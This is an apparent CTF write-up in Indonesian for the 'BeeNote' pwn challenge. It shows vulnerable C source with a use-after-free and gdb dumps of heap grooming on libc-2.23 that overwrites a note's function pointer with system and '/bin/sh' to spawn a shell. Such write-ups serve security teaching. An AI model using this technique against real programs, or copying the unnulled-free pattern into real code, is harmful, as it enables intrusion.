

BeeNote

Soal ini bertujuan sebagai tiebreaker dalam final. Untuk pengerjaan diharuskan menggunakan ubuntu 16.04, dikarenakan cara kerja malloc yang berbeda pada 16.04 dan versi ubuntu di atasnya (17.10 ~)

Diberikan sebuah **ELF 64 bit**, **source code**, dan **libc-2.23**:

```
tempest@tempestuous: ~/projects/beefest/final/pwn/beenote $ file beenote; checksec beenote
beenote: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-2.6.32, BuildID[sha1]=e1eda19102118a65400baf043f637a86ff454759, not stripped
[*] '/home/tempest/projects/beefest/final/pwn/beenote/beenote'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
```

Saya di sini tidak akan melampirkan semua source codenya, hanya beberapa bagian yang menarik.

```
unsigned int index;
note *notes[16];

void create_note()
{
    int n;
    char buffer[16];
    if(index < 16)
    {
        note *p = (note *)malloc(sizeof(note));
        if(!p) exit(0);
        notes[index++] = p;
        p->print_note = print_note;
        p->title = (char *)malloc(16);
        if(!(p->title)) exit(0);
        printf("Title: ");
        read_bytes(p->title,16);
        printf("Size: ");
        n = read_num(buffer,16);
        p->content = (char *)malloc(n);
        if(!(p->content)) exit(0);
        printf("Content: ");
        read_bytes(p->content,n);
        puts("Success!");
    }
    else puts("You can't create notes anymore!");
}
```

Ini merupakan bagian dari pembuatan notenya. Terlihat bahwa semuanya biasa saja.

Jika kita lihat pada bagian delete (clue sudah diberikan di deskripsi soal):

```
void view_note()
{
    int choice;
    char buffer[16];
    do
    {
        printf("Index of the note: ");
        choice = read_num(buffer,16)-1;
    }while(choice < 0 || choice > index-1);
    if(notes[choice])
    {
        note *p = notes[choice];
        p->print_note(p->title,p->content);
    }
    else puts("Note wasn't found.");
}

void delete_note()
{
    int choice;
    char buffer[16];
    do
    {
        printf("Index of the note: ");
        choice = read_num(buffer,16)-1;
    }while(choice < 0 || choice > index-1);
    if(notes[choice])
    {
        note *p = notes[choice];
        free(p->title);
        free(p->content);
        free(p);
        puts("Note deleted!");
    }
    else puts("Note wasn't found.");
}
```

Terlihat ada kelemahan dalam program, yaitu isi dari note dan pointer ke array of notes tidak dinolkan (Use After Free).

Target kita adalah memanfaatkan kelemahan ini supaya **malloc** memberikan kita **struct note *** ketika kita meminta judul maupun isi dari note, kemudian mengganti dengan alamat system dan pointer ke string `"/bin/sh"`, dan `"print"` isi note.

User ID yang diberikan di awal-awal merupakan pointer ke stdin, sehingga kita tidak perlu membuat leak lagi (walaupun leak dapat dilakukan dengan mudah apabila kita mengerti cara

kerja *malloc*). Selanjutnya kita tinggal menghitung offset dari stdin (lebih tepatnya *_IO_2_1_stdin_*) ke *system*. Setelah perhitungan dilakukan, kita tinggal mencari cara agar *malloc* memberikan kita *struct note ** jika kita meminta *char **. Pertama-tama kita membuat 2 notes dengan ukuran content 256 (sizenya terserah, asalkan ukurannya di atas 127 dan di bawah 512 bytes). Selanjutnya, kita membuat sebuah note dengan ukuran content 16-32 bytes.

```
Breakpoint 1, 0x0000000000400972 in create_note ()
gdb-peda$ telescope 0x6020a0
0000| 0x6020a0 --> 0x220e010 --> 0x220e020 --> 0x220e050 --> 0x7f5434301b78 --> 0x220e300 (--> ...)
0008| 0x6020a8 --> 0x220e160 --> 0x220e170 --> 0x220e1a0 --> 0x220e040 --> 0x0
0016| 0x6020b0 --> 0x220e2b0 --> 0x40091c (<print_note>:      push    rbp)
0024| 0x6020b8 --> 0x0
0032| 0x6020c0 --> 0x0
0040| 0x6020c8 --> 0x0
0048| 0x6020d0 --> 0x0
0056| 0x6020d8 --> 0x0
```

0x6020a0 di sini merupakan alamat dari *array of note pointers* “notes”. Tujuan dari 2 note pertama adalah untuk menaruh *struct note ** ke *list of free memories*. Note 3 digunakan untuk mencegah supaya *list of free memories* ini tidak hilang (cara kerja *malloc*). Ketika kita membuat note yang keempat, isi dari note (content) akan diberikan *struct note ** sebagai *char ** (tipe data tidak begitu berpengaruh karena yang dilihat oleh *malloc* hanyalah alamat dan ukuran).

```

RAX: 0x220e010 --> 0x220e020 --> 0x220e050 --> 0x7f5434301b78 --> 0x220e300 --> 0x0
RBX: 0x0
RCX: 0x7f5434301b20 --> 0x0
RDX: 0x220e010 --> 0x220e020 --> 0x220e050 --> 0x7f5434301b78 --> 0x220e300 --> 0x0
RSI: 0x7f5434301b20 --> 0x0
RDI: 0x0
RBP: 0x7ffdd1c07b90 --> 0x7ffdd1c07bd0 --> 0x400d60 (<__libc_csu_init>: push r15)
RSP: 0x7ffdd1c07b60 --> 0x1800000000
RIP: 0x400a34 (<create_note+237>: mov rdx, rax)
R8 : 0x220e020 --> 0x220e050 --> 0x7f5434301b78 --> 0x220e300 --> 0x0
R9 : 0x1999999999999999
R10: 0x0
R11: 0x7f54340b45e0 --> 0x2000200020002
R12: 0x400750 (<_start>: xor ebp, ebp)
R13: 0x7ffdd1c07cb0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-----code-----]
0x400a2a <create_note+227>: cdqe
0x400a2c <create_note+229>: mov rdi, rax
0x400a2f <create_note+232>: call 0x400700 <malloc@plt>
=> 0x400a34 <create_note+237>: mov rdx, rax
0x400a37 <create_note+240>: mov rax, QWORD PTR [rbp-0x28]
0x400a3b <create_note+244>: mov QWORD PTR [rax+0x10], rdx
0x400a3f <create_note+248>: mov rax, QWORD PTR [rbp-0x28]
0x400a43 <create_note+252>: mov rax, QWORD PTR [rax+0x10]
[-----stack-----]
0000| 0x7ffdd1c07b60 --> 0x1800000000
0008| 0x7ffdd1c07b68 --> 0x220e160 --> 0x40091c (<print_note>: push rbp)
0016| 0x7ffdd1c07b70 --> 0x7ffdd1003432
0024| 0x7ffdd1c07b78 --> 0x40091a (<read_num+47>: leave)
0032| 0x7ffdd1c07b80 --> 0x10
0040| 0x7ffdd1c07b88 --> 0x4d6491057c6aaa00
0048| 0x7ffdd1c07b90 --> 0x7ffdd1c07bd0 --> 0x400d60 (<__libc_csu_init>: push r15)
0056| 0x7ffdd1c07b98 --> 0x400cf8 (<main+131>: jmp 0x400d2e <main+185>)
[-----]
Legend: code, data, rodata, value
0x0000000000400a34 in create_note ()

```

Terlihat bahwa return address dari malloc adalah sebuah pointer ke note (terlihat di screenshot sebelumnya). Kita tinggal mengganti function pointer dengan alamat dari system, serta judul dari note dengan pointer ke string “/bin/sh”.

```

gdb-peda$ telescope $rsi-0x10
0000| 0x220e000 --> 0x0
0008| 0x220e008 --> 0x21 ('!')
0016| 0x220e010 --> 0x7f5433f82390 (<__libc_system>: test rdi, rdi)
0024| 0x220e018 --> 0x7f54340c9d57 --> 0x68732f6e69622f ('/bin/sh')
0032| 0x220e020 --> 0x220e000 --> 0x0
0040| 0x220e028 --> 0x21 ('!')
0048| 0x220e030 --> 0x0
0056| 0x220e038 --> 0x0

```


Terakhir, kita “print” note pertama yang telah kita buat.

```
RAX: 0x7f5433f82390 (<__libc_system>: test rdi,rdi)
RBX: 0x0
RCX: 0x220e000 --> 0x0
RDX: 0x7f54340c9d57 --> 0x68732f6e69622f ( '/bin/sh' )
RSI: 0x220e000 --> 0x0
RDI: 0x7f54340c9d57 --> 0x68732f6e69622f ( '/bin/sh' )
RBP: 0x7ffdd1c07b90 --> 0x7ffdd1c07bd0 --> 0x400d60 (<__libc_csu_init>: push r15)
RSP: 0x7ffdd1c07b60 --> 0x0
RIP: 0x400b3e (<view_note+147>: call rax)
R8 : 0x0
R9 : 0x1999999999999999
R10: 0x0
R11: 0x7f54340b45e0 --> 0x2000200020002
R12: 0x400750 (<_start>: xor ebp,ebp)
R13: 0x7ffdd1c07cb0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-----code-----]
0x400b34 <view_note+137>: mov rdx,QWORD PTR [rdx+0x8]
0x400b38 <view_note+141>: mov rsi,rcx
0x400b3b <view_note+144>: mov rdi,rdx
=> 0x400b3e <view_note+147>: call rax
0x400b40 <view_note+149>: jmp 0x400b4c <view_note+161>
0x400b42 <view_note+151>: mov edi,0x400e44
0x400b47 <view_note+156>: call 0x4006a0 <puts@plt>
0x400b4c <view_note+161>: nop
Guessed arguments:
arg[0]: 0x7f54340c9d57 --> 0x68732f6e69622f ( '/bin/sh' )
arg[1]: 0x220e000 --> 0x0
arg[2]: 0x7f54340c9d57 --> 0x68732f6e69622f ( '/bin/sh' )
arg[3]: 0x220e000 --> 0x0
```

Flagnya adalah *BeeFest{H4v3_y0u_h3ard_ab0ut_UAF_in_l0cal_CTF}*.